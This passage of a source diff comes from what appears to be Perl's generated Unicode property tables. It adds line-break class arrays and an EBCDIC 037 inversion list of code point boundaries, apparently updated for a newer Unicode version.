+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_Alphabetic,
+	LB_JV,
+	LB_Alphabetic,
+	LB_JT,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Combining_Mark,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Infix_Numeric,
+	LB_Close_Punctuation,
+	LB_Infix_Numeric,
+	LB_Exclamation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Inseparable,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Word_Joiner,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Ideographic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Contingent_Break,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Inseparable,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Regional_Indicator,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Modifier,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_LB_invlist[] = { /* for EBCDIC 037 */
+	2325,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x9,
-	0xA,
+	0x5,
+	0x6,
 	0xB,
 	0xD,
 	0xE,
-	0x20,
-	0x21,
-	0x22,
-	0x23,
-	0x24,
+	0x15,
+	0x16,
 	0x25,
 	0x26,
-	0x27,
-	0x28,
-	0x29,
-	0x2A,
-	0x2B,
-	0x2C,
-	0x2D,
-	0x2E,
-	0x2F,
-	0x30,
-	0x3A,
-	0x3C,
-	0x3F,
 	0x40,
+	0x41,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x4F,
+	0x50,
+	0x5A,
 	0x5B,
 	0x5C,
 	0x5D,
 	0x5E,
+	0x5F,
+	0x60,
+	0x61,
+	0x62,
+	0x6B,
+	0x6C,
+	0x6D,
+	0x6F,
+	0x70,
+	0x7A,
 	0x7B,
-	0x7C,
 	0x7D,
 	0x7E,
 	0x7F,
-	0x85,
-	0x86,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x90,
+	0x91,
+	0x9F,
 	0xA0,
-	0xA1,
-	0xA2,
-	0xA3,
-	0xA6,
-	0xAB,
+	0xAA,
 	0xAC,
-	0xAD,
-	0xAE,
-	0xB0,
 	0xB1,
-	0xB2,
-	0xB4,
-	0xB5,
+	0xB3,
+	0xBA,
 	0xBB,
 	0xBC,
+	0xBE,
 	0xBF,
 	0xC0,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
 	0x2C8,
 	0x2C9,
 	0x2CC,
@@ -8023,6 +46706,8 @@
 	0xAF0,
 	0xAF1,
 	0xAF2,
+	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB3C,
@@ -8083,8 +46768,10 @@
 	0xCE4,
 	0xCE6,
 	0xCF0,
-	0xD01,
+	0xD00,
 	0xD04,
+	0xD3B,
+	0xD3D,
 	0xD3E,
 	0xD45,
 	0xD46,
@@ -8315,10 +47002,10 @@
 	0x1CEE,
 	0x1CF2,
 	0x1CF5,
-	0x1CF8,
+	0x1CF7,
 	0x1CFA,
 	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1E00,
 	0x1FFD,
@@ -8557,7 +47244,7 @@
 	0x2E40,
 	0x2E42,
 	0x2E43,
-	0x2E45,
+	0x2E4A,
 	0x2E80,
 	0x2E9A,
 	0x2E9B,
@@ -8652,7 +47339,7 @@
 	0x30FF,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x3190,
@@ -9852,6 +48539,26 @@
 	0x1173F,
 	0x118E0,
 	0x118EA,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A40,
+	0x11A41,
+	0x11A45,
+	0x11A46,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA1,
+	0x11AA3,
 	0x11C2F,
 	0x11C37,
 	0x11C38,
@@ -9867,6 +48574,18 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12470,
 	0x12475,
 	0x13258,
@@ -9904,13 +48623,15 @@
 	0x16F8F,
 	0x16F93,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC9D,
 	0x1BC9F,
 	0x1BCA0,
@@ -9978,10 +48699,12 @@
 	0x1F3B7,
 	0x1F3BC,
 	0x1F3BD,
-	0x1F3C3,
+	0x1F3C2,
 	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
 	0x1F3CA,
-	0x1F3CC,
+	0x1F3CD,
 	0x1F3FB,
 	0x1F400,
 	0x1F442,
@@ -10018,7 +48741,7 @@
 	0x1F525,
 	0x1F532,
 	0x1F54A,
-	0x1F575,
+	0x1F574,
 	0x1F576,
 	0x1F57A,
 	0x1F57B,
@@ -10044,6 +48767,8 @@
 	0x1F6B7,
 	0x1F6C0,
 	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
 	0x1F700,
 	0x1F774,
 	0x1F780,
@@ -10058,16 +48783,20 @@
 	0x1F888,
 	0x1F890,
 	0x1F8AE,
+	0x1F900,
+	0x1F90C,
 	0x1F918,
-	0x1F91F,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
 	0x1F926,
 	0x1F927,
 	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93A,
-	0x1F93C,
+	0x1F93D,
 	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
 	0x1FFFE,
 	0x20000,
 	0x2FFFE,
@@ -10081,11 +48810,16 @@
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 037 */
 
